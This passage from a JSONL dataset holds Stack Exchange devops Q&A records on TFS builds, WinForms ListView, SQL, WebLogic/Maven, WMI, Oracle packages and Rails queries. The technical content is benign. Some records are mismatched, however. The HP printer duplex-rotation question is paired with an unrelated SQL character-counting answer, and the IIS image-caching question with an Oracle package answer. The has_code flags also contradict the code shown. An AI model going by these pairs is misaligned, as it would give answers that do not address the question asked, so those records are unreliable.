(if defined)\n.cpp.o:\n    $(CC) $(CFLAGS) $(INCLUDES) -c $<\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.856447"}
{"id": "hf_959bc6621bcd", "question": "<p>What are the steps to get Team Foundation Server running unit tests when a given build runs?  </p>\n\n<p>What are the caveats / pitfalls / workarounds a dev or sysadmin should be aware of when setting up a TFS server to do this for the first time?  </p>\n\n<p>What are common troubleshooting steps for unit test problems during builds?</p>\n", "question_body": "", "answer": "it depends on which version of TFS you are running, so I will assume it is 2008.\nFirstly, you must have Team Edition for Testers installed on the computer that will act as your build agent, as stated in\nHow To: Create a Build Definition\nThere are a couple of ways to tell Team Build to run tests for your build.\nUnit tests can be run from a defined Test List within the Solution being built.  This list is referenced by the build definition and all tests within the chosen list(s) are executed. More info\nhere\nWildCard test exectution is also available by defining a wildcard mask (i.e. Test*.dll) that instructs Team Build to run any tests present in assemblies that match the mask.  This is done when defining the build definition as well.\nThings to note:\nIf you intend to use the wildcard method and want to enable code coverage for your test configuration, you must add the following to your build definition file to enable it.\n```\n```\n<RunConfigFile>$(SolutionRoot)\\TestRunConfig.testrunconfig</RunConfigFile>\n```\n```\nSee my previous question on this for more info\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.881413"}
{"id": "hf_05a78790a9d1", "question": "<p>Vista has introduced a new API to display a text in the list view control when it doesn't have any items. As the MSDN library states, I should process the <code>LVN_GETEMPTYMARKUP</code> notification.</p>\n\n<p>In the inherited <code>ListView</code> control the <code>WndProc</code> method is overriden:</p>\n\n<pre><code>protected override void WndProc(ref Message m) {\n  try {\n    if(m.Msg == 78 /* WM_NOTIFY */) {\n      var nmhdr = (NMHDR)Marshal.PtrToStructure(m.LParam, typeof(NMHDR));\n      if(nmhdr.code == -187 /* LVN_GETEMPTYMARKUP */) {\n        var nmlvemptymarkup =\n          (NMLVEMPTYMARKUP)Marshal.PtrToStructure(m.LParam, typeof(NMLVEMPTYMARKUP));\n        nmlvemptymarkup.szMarkup = \"The ListView is empty.\";\n        m.Result = (IntPtr)1;\n      }\n    }\n  } finally {\n    base.WndProc(ref m);\n  }\n}\n</code></pre>\n\n<p>However, it doesn't work (although it doesn't throw any exception). Actually I never get <code>nmhdr.code</code> equals to -187. Any ideas?</p>\n", "question_body": "", "answer": "Have you tried calling\n```\nSetWindowTheme\n```\non the control, as indicated in\nthis article\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.925202"}
{"id": "hf_5cfa687f4d4d", "question": "<p>I have a Probablistic Neural Network classification experiment set up in MATLAB. I can get the classes for unseen data using the <code>sim</code> command. Is there any way I can get the probabilities for the classes that the classifier calculates? Also, is there any direct way to plot the Reciever Operating Characterstic curve and calculate the Area Under the ROC for my classifier?</p>\n", "question_body": "", "answer": "You may have better luck getting a response if you include a little more background and define your terms.  I recognize ROC as receiver operating characteristic curve, but PNN and AUC are just alphabet soup to me.  Don't make the mistake of assuming that someone outside of your very specific problem domain cannot help you.  You have to build a bit of a language bridge by explaining your jargon first, though.  This has the added advantage of making this particular question more useful to the stackoverflow community at large when it is eventually answered.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.962031"}
{"id": "hf_87ebb89c704f", "question": "<p>Problem, there's no method:</p>\n\n<pre><code>bool ChangePassword(string newPassword);\n</code></pre>\n\n<p>You have to know the current password (which is probably hashed and forgotten).</p>\n", "question_body": "", "answer": "This is an easy one that I wasted too much time on. Hopefully this post saves someone else the pain of slapping their forehead as hard as I did.\nSolution, reset the password randomly and pass that into the change method.\n```\n```\nMembershipUser u = Membership.GetUser();\nu.ChangePassword(u.ResetPassword(), \"myAwesomePassword\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.998566"}
{"id": "hf_8a936d47937d", "question": "<p>I'm looking for a way to select until a sum is reached.</p>\n<p>My &quot;documents&quot; table has &quot;<code>tag_id</code>&quot; and &quot;<code>size</code>&quot; fields.</p>\n<p>I want to select all of the documents with <code>tag_id = 26</code> but I know I can only handle 600 units of size.  So, there's no point in selecting 100 documents and discarding 90 of them when I could have known that the first 10 already added up to &gt; 600 units.</p>\n<p>So, the goal is: don't bring back a ton of data to parse through when I'm going to discard most of it.</p>\n<p>...but I'd also really like to avoid introducing working with cursors to this app.</p>\n<p>I'm using MySQL.</p>\n", "question_body": "", "answer": "You need some way to order which records get priority over others when adding up to your max units.  Otherwise, how do you know which set of records that totals up to 600 do you keep?\n```\n```\nSELECT d.id, d.size, d.date_created\nFROM documents d\nINNER JOIN documents d2 ON d2.tag_id=d.tag_id AND d2.date_created >= d.date_created\nWHERE d.tag_id=26\nGROUP BY d.id, d.size, d.date_created\nHAVING sum(d2.size) <= 600\nORDER BY d.date_created DESC\n```\n```\nThis is just a basic query to get you started, and there are a number of problems still to solve:\nIt stops at <= 600, so in most cases you won't fill up your size limit exactly. This  means you might want to tweak it to allow one more record.  For example, if the first record is > 600 the query will return nothing, and that could be a problem.\nIt won't do anything to check for additional smaller records later on that might still fit under the cap.\nRecords with identical date_created values could be sort of 'double counted' here and there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.024122"}
{"id": "hf_25e6aa87dd6e", "question": "<p>I am trying to setup Weblogic Server 10.3 (and Portal etc.) to use <a href=\"http://maven.apache.org/\" rel=\"noreferrer\">maven</a> as a build tool. I am trying to find a decent tutorial or documentation how to do this. There are some tutorials for older versions like 9.0, but there is little info for version 10.</p>\n\n<p>I am looking a way to build weblogic's ear file with maven. Are people actually doing this? Is using maven worth the trouble? </p>\n\n<p>I would like to use maven in order to have easier integration with continuous integration tools like <a href=\"http://hudson-ci.org/\" rel=\"noreferrer\">Hudson</a>.</p>\n\n<p>edit: There seems to be a way to export maven files directly <a href=\"http://edocs.bea.com/wlw/docs102/guide/ideuserguide/build/conMavenScript.html\" rel=\"noreferrer\">http://edocs.bea.com/wlw/docs102/guide/ideuserguide/build/conMavenScript.html</a>. But those files are simple wrappers for ant.</p>\n", "question_body": "", "answer": "I am using maven to build an EAR which I deploy an WebLogic Server 10.3. The tricky parts were:\nFinding all dependencies of the weblogic-maven-plugin\nPutting all dependencies in the maven repo (I really recommend\nSonatype Nexus\n)\nSetting noExit to true (otherwise you will get problems in hudson!)\nI use the following directory structure in the EAR project:\n```\n```\npom.xml\nsrc/\n   main/\n        app/\n            META-INF/\n                     weblogic-application.xml\n```\n```\nThe following is taken from my pom.xml:\n```\n```\n<build>\n    <plugins>\n        <plugin>\n            <artifactId>maven-ear-plugin</artifactId>\n            <configuration>\n                <displayName>My Project</displayName>\n                <earSourceDirectory>src/main/app</earSourceDirectory>\n                <modules>\n                    <webModule>\n                        <groupId>com.somecompany</groupId>\n                        <artifactId>webapp</artifactId>\n                    </webModule>\n                </modules>\n            </configuration>\n        </plugin>\n        <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>weblogic-maven-plugin</artifactId>\n            <version>2.9.1</version>\n            <executions>\n                <execution>\n                    <phase>deploy</phase>\n                    <goals>\n                        <goal>deploy</goal>\n                        <goal>start</goal>\n                    </goals>\n                </execution>\n            </executions>\n            <configuration>\n                <name>my-project</name>\n                <adminServerHostName>${wls.adminServerHostName}</adminServerHostName>\n                <adminServerPort>${wls.adminServerPort}</adminServerPort>\n                <adminServerProtocol>t3</adminServerProtocol>\n                <userId>${wls.userId}</userId>\n                <password>${wls.password}</password>\n                <upload>true</upload>\n                <remote>true</remote>\n                <verbose>false</verbose>\n                <debug>false</debug>\n                <targetNames>AdminServer</targetNames>\n                <noExit>true</noExit>\n            </configuration>\n            <dependencies>\n                <dependency>\n                    <groupId>com.sun</groupId>\n                    <artifactId>tools</artifactId>\n                    <version>1.5</version>\n                    <scope>system</scope>\n                    <systemPath>${java.home}/../lib/tools.jar</systemPath>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>weblogic</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>webservices</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.utils.full</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.i18n</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.weblogic.rmi.client</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>javax.enterprise.deploy</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>webserviceclient</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.weblogic.security.wls</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.weblogic.security.identity</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.weblogic.security</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>wlclient</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.transaction</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.utils.classloaders</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>wljmsclient</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.management.core</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>wls-api</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.descriptor</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.logging</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.weblogic.socket.api</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.weblogic.security.digest</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.weblogic.workmanager</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.weblogic.lifecycle</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.utils.wrapper</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>wlsafclient</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.management.jmx</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n                <dependency>\n                    <groupId>weblogic</groupId>\n                    <artifactId>com.bea.core.descriptor.wl</artifactId>\n                    <version>${weblogic.version}</version>\n                    <scope>provided</scope>\n                </dependency>\n            </dependencies>\n        </plugin>\n    </plugins>\n</build>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.048359"}
{"id": "hf_9b92c6a9b044", "question": "<p>I was wondering if there was a simple way to use WMI to get you the current windows user name with domain. The Windows API call just gets you the short username, so you end up doing another call for the domain name. I have some code, but I get an automation error.\nAny ideas? I think I'm on the right path, but I am a little new to WMI.</p>\n\n<pre>\nFunction GetFullName() As String\n    Dim computer As String\n    computer = \".\"\n    Dim objWMIService, colProcessList As Object\n    Set objWMIService = GetObject(\"winmgmts:\\\\\" & computer & \"\\root\\cimv2\")\n    Set colProcessList = objWMIService.ExecQuery _\n        (\"SELECT TOP 1 * FROM Win32_Process WHERE Name = 'EXCEL.EXE'\")\n    Dim uname, udomain As String\n    Dim objProcess As Object\n    For Each objProcess In colProcessList\n        objProcess.GetOwner uname, udomain\n    Next\n    GetFullName = UCase(udomain) & \"\\\" & UCase(uname)\nEnd Function\n</pre>\n\n<p>UPDATE: see comments on accepted answer</p>\n", "question_body": "", "answer": "There is no TOP 1 clause in WQL. Leave it out and your query should work:\n```\n```\n\"SELECT * FROM Win32_Process WHERE Name = 'EXCEL.EXE'\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.112358"}
{"id": "hf_d79c8fa35f4b", "question": "<p>How can you find the number of occurrences of a particular character in a string using sql?</p>\n\n<p>Example: I want to find the number of times the letter ‘d’ appears in this string.</p>\n\n<pre><code>declare @string varchar(100)\nselect @string = 'sfdasadhfasjfdlsajflsadsadsdadsa'\n</code></pre>\n", "question_body": "", "answer": "Here you go:\n```\n```\ndeclare @string varchar(100)\nselect @string = 'sfdasadhfasjfdlsajflsadsadsdadsa'\nSELECT LEN(@string) - LEN(REPLACE(@string, 'd', '')) AS D_Count\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.149235"}
{"id": "hf_fae47327c4ff", "question": "<p>I'm trying to switch on and off the Rotate 180 degree setting for an HP Laserjet printer (4200/ 4350) using a duplexer unit.</p>\n\n<p>The Business has a requirement to \"print on both sides\", for maximum control I'd like to be able to manipulate at print time (through print macros) whether or not duplex printing is enabled for each of the different types of a document the business works with.</p>\n\n<p>I can control the tray assignments, print order and switch duplexing on and off.  However, cannot figure out how to control the rotation option (switch this on and off).</p>\n\n<p>Any solutions available other than a blanket - enable this option on the print server for all documents/ users?</p>\n", "question_body": "", "answer": "Here you go:\n```\n```\ndeclare @string varchar(100)\nselect @string = 'sfdasadhfasjfdlsajflsadsadsdadsa'\nSELECT LEN(@string) - LEN(REPLACE(@string, 'd', '')) AS D_Count\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.173100"}
{"id": "hf_9b19d3680ff6", "question": "<p>When writing a custom itemRenderer, how do you reference the height and width of the grid cell that it will be rendered in?  In such a way that it will resize correctly when the grid is resized.</p>\n\n<p>I am writing a dataGrid itemRenderer that draws a bar graph in the final column of a table.</p>\n\n<p>I have tried referencing 'this', 'this.parent', and a few other things with no success.\nMy interim hack solution is to add this data to the datacollection, but this wont work when the grid changes size, so I will have to edit it every time.</p>\n", "question_body": "", "answer": "All flex components including cell renderers are aware of their own widths and heights, so you should be able to just access this.width and this.height\nIf you're looking for events that tell you when a cell has resized you can listen to the\n```\nResizeEvent.RESIZE\n```\nevent or override\n```\nprotected function updateDisplayList(unscaledWidth:Number, unscaledHeight:Number):void\n```\non the component.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.221579"}
{"id": "hf_f9716c2f2863", "question": "<p>So I've got a big text file which looks like the following:</p>\n\n<pre><code>&lt;option value value='1' &gt;A\n&lt;option value value='2' &gt;B\n&lt;option value value='3' &gt;C\n&lt;option value value='4' &gt;D\n</code></pre>\n\n<p>It's several hundred lines long and I really don't want to do it manually. The expression that I'm trying to use is:</p>\n\n<pre><code>&lt;option value='.{1,}' &gt;\n</code></pre>\n\n<p>Which is working as intended when i run it through several online regular expression testers. I basically want to remove everything before A, B, C, etc. The issue is when I try to use that expression in Vim and Notepad++, it can't seem to find anything.</p>\n", "question_body": "", "answer": "This will remove the\n```\noption\n```\ntag and just leave the letters in vim:\n```\n```\n:%s/<option.*>//g\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.271512"}
{"id": "hf_a54b5f541c05", "question": "<p>So I've setup an Ubuntu server running the 8.04 release. I set it up to authenticate with our Active Directory using the likewise-open package using <a href=\"http://devarthur.blogspot.com/2008/05/integrating-ubuntu-hardy-heron-804-with.html\" rel=\"nofollow noreferrer\">these instructions</a>. Part of that setup was giving Domain Admin users who login to the machine sudo access.</p>\n\n<p>Now I'd like to deny login rights for all domain logins except for those users that are in the \"Domain Admins\" group. Local users should still be able to login. Anyone have any idea how to accomplish this?</p>\n", "question_body": "", "answer": "On windows, this is done through group policy. Samba currently doesn't have any support for managing *nix clients with group policy (Samba 4 maybe??).\nYou can try allowing full control of the computer object for \"Domain Admins\", and removing all of the permissions for \"everyone\", but I don't think that will prevent login. I'm just wondering if not having the \"Allowed to Authenticate\" permission may inadvertently block logins. I'm far from being an AD expert, so this is just a guess.\nLikewise does have a product to handle this, but I think it's only in their enterprise package\n.\n[Edit] addendum\nYou can try using the netgroup syntax in /etc/password.\nYou can verify the full name of the group your in by running \"id\". If your groupname has \"\\\" or \" \" you may need to escape them.\nAt the end of your /etc/password file add the line\n```\n```\n+@AdminGroup::::::/bin/bash\n+@Everyone::::::/sbin/nologin\n```\n```\nThis was designed for nis netgroups, but it's worth a shot.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.312039"}
{"id": "hf_4b3b0292f124", "question": "<p>Lucky me, I have to work with Oracle. And packages. </p>\n\n<p>I have a package that a lot of different developers are touching and it's scaring me. Is it possible to put a package inside of Version Control? Is there some kind of software out there that already does this? If not, is there some kind of export procedure? Can I just grab a file off of a file system?</p>\n", "question_body": "", "answer": "How are they inputting it? The way we used to work at my last job is editing a text file, and loading it with SQL*Plus. You can just put that source file under version control.\nThe source must be between \"\n```\nCREATE OR REPLACE PACKAGE MYPACKAGE AS\n```\n\" and \"\n```\nEND;\n```\n\" followed by a single slash on a line of its own (\"/\"); and ditto for \"PACKAGE BODY\" instead of \"PACKAGE\".\nAnd yes, there's a way to pull the source out of Oracle. It's in a table, line by line, look up\nALL_SOURCE\nand USER_SOURCE. You can pull it out with a query like\n```\n```\nSELECT TEXT FROM ALL_SOURCE\nWHERE TYPE='PACKAGE BODY'\n  AND NAME='MYPACKAGE' \n  AND OWNER='MYPACKAGEOWNER'\nORDER BY LINE\n```\n```\n(untested as I no longer have access to Oracle) and ditto for the 'PACKAGE'.\nI think it's best to load it again into Oracle using SQL*Plus; make sure to set \"SCAN OFF\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.345840"}
{"id": "hf_008559e4c7ff", "question": "<p>I have some static images in a folder on my IIS 6-based website that I want to be downloaded as little as possible (to preserve bandwidth). I've set the Content Expiration to expire after 30 days. Is there anything else I can do in IIS to try to maximize the caching by browsers, proxy, and gateway caches?</p>\n\n<p>Such as adding a Cache-Control header? Anything else?</p>\n", "question_body": "", "answer": "How are they inputting it? The way we used to work at my last job is editing a text file, and loading it with SQL*Plus. You can just put that source file under version control.\nThe source must be between \"\n```\nCREATE OR REPLACE PACKAGE MYPACKAGE AS\n```\n\" and \"\n```\nEND;\n```\n\" followed by a single slash on a line of its own (\"/\"); and ditto for \"PACKAGE BODY\" instead of \"PACKAGE\".\nAnd yes, there's a way to pull the source out of Oracle. It's in a table, line by line, look up\nALL_SOURCE\nand USER_SOURCE. You can pull it out with a query like\n```\n```\nSELECT TEXT FROM ALL_SOURCE\nWHERE TYPE='PACKAGE BODY'\n  AND NAME='MYPACKAGE' \n  AND OWNER='MYPACKAGEOWNER'\nORDER BY LINE\n```\n```\n(untested as I no longer have access to Oracle) and ditto for the 'PACKAGE'.\nI think it's best to load it again into Oracle using SQL*Plus; make sure to set \"SCAN OFF\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.379957"}
{"id": "hf_2ac7bd70a6ed", "question": "<p>Let's assume I have a model called \"product.\"  Let's assume that product has three fields.  These fields are 'name' (type string), 'cost' (type integer), and 'is_visible' (type bool).</p>\n\n<p>1) How can I do a search query using the Rails \"find\" method (if there is another method, that's fine) so that I can search for all products with a cost greater than 100 AND is_visible is true?</p>\n\n<p>2) What if we wanted to change this to search to where name != '' OR cost == 0?</p>\n\n<p>This isn't a problem to do an SQL, but I would like to think that Rails has a way to do AND/OR queries to the database without using SQL.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You would need to use the conditions option on the find method.  The conditions option can be either a Hash, Array, or String.  There are lots of options for conditions, so I recommend reading the\nAPI help\nfor it.\nFor example if you want to (1):\n```\n```\nProduct.find(:all, :conditions => ['cost > ? and is_visible is true', 100])\n```\n```\nOr (2)\n```\n```\nProduct.find(:all, :conditions => [\"name != '' or cost =0])\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.445387"}
{"id": "hf_6bcf80ac1138", "question": "<p>What is the difference between <code>HAVING</code> and <code>WHERE</code> in an <code>SQL SELECT</code> statement?</p>\n<p>EDIT: I have marked Steven's answer as the correct one as it contained the key bit of information on the link:</p>\n<blockquote>\n<p>When <code>GROUP BY</code> is not used, <code>HAVING</code> behaves like a <code>WHERE</code> clause</p>\n</blockquote>\n<p>The situation I had seen the <code>WHERE</code> in did not have <code>GROUP BY</code> and is where my confusion started. Of course, until you know this you can't specify it in the question.</p>\n", "question_body": "", "answer": "```\nHAVING\n```\nis used when you are using an aggregate such as\n```\nGROUP BY\n```\n.\n```\n```\nSELECT edc_country, COUNT(*)\nFROM Ed_Centers\nGROUP BY edc_country\nHAVING COUNT(*) > 1\nORDER BY edc_country;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.533586"}
{"id": "hf_5a0f778524d1", "question": "<p>I know that when you add/change/remove methods in a COM interface you're supposed to change the interface/coclass GUID but what about type libraries.  When should you change the type library's GUID? Do you change it if a GUID inside the type library has changed? Or should you only change it when something that doesn't have its own GUID within the type library changes.</p>\n", "question_body": "", "answer": "The basic principle is that COM interfaces and Type Libraries should be immutable (that is, they shouldn't ever change).  If you change one item inside a COM interface, then the new version needs to be a completely separate entity from the previous version.  The only way to do this is to change the GUID for every interface in the library and the GUID for the type library itself.  It's also a good idea (for your own personal sanity) to change the name of the type library.\nIdeally you shouldn't ever change a COM interface.  Instead create a new derived COM interface and publish in a new type library.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.557061"}
{"id": "hf_1ae2e197b59a", "question": "<p>What is a proxy object in the Inversion of Control / Aspect-Oriented sense?</p>\n\n<p>Any good articles on what a proxy object is ?<br>\nWhy you would want to use one ?<br>\nAnd how to write one in C# ?  </p>\n", "question_body": "", "answer": "In general, a Proxy object is an object (instance of a class) that exposes the exact same public interface as a \"real class\" but simply forwards all calls made to it's members to the other real class.  Proxy objects are used for a variety of reasons...\nOne purpose is to \"pretend\" to be the real class so a client component (or object) can \"believe\" it's talking to the \"real\" object, but inside the proxy, other stuff, (like logging, transactional support, etc.) is being done at the same time... Secondly, a proxy can be very cheap in comparson to the real object,. and often is used so that the real objects can be conserved (turned off or released to a pool to be used by other clients) when the client is not using them... The proxy stays \"alive\" and the client thinks it still has a connection to the real object, but whenever it \"calls\" the object, it is actually calling the proxy, which goes and gets another real object just to handle the call, and then releases the real object when the call is done.\nAs to\nInversion of Control\n(IOC).. That refers to a common pattern (also referred to as Dependency Injection),  where dependant objects inside of a class are \"injected\" into an instance of the class, from client code, to control which version of a dependant object the instance will use... IOC can be used to inject a \"Proxy\" object into a class where it thinks it is using the real object...  The phrase\nInversion of Control\nrefers to the fact that when using this pattern, the decision as to which actual implementation is called is no longer under the control of the class making the call, but to the client of that class, when it\ninjects\nan instance of a dependant object into the class to be used for this call.\nGenerally the term IOC is used with what is called an\nIOC Container\n, which is a class specifically designed to be responsible for creating instances of dependant classes based on loosely coupled information about those classes (Types) which it gets from some source other than hard-wired dependencies (most often, from some kind of configuration file).   Generally, when you use an IOC container, you create an instance of it when the application starts, and then (by reading config data or whatever), you \"register\" each of the classes (types) that the IOC container will be responsible for, with a key value.  The key is often the abstract type or interface that all instances of this registration must implement).  Then, in the normal operations of your application, where you might otherwise have new'd up an instance of one of these types, you call the IOC Container, and ask it for an instance instead, using the abstract type/Interface as the key.  The IOC container then uses reflection or dynamic loading, (or whatever), to create an instance of whatever type has been \"registered\" with that key.   In this way, simply by changing configuration data, you can control the actual types used by the application, changing them in one environment or deployment location from those used in another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:16.581184"}
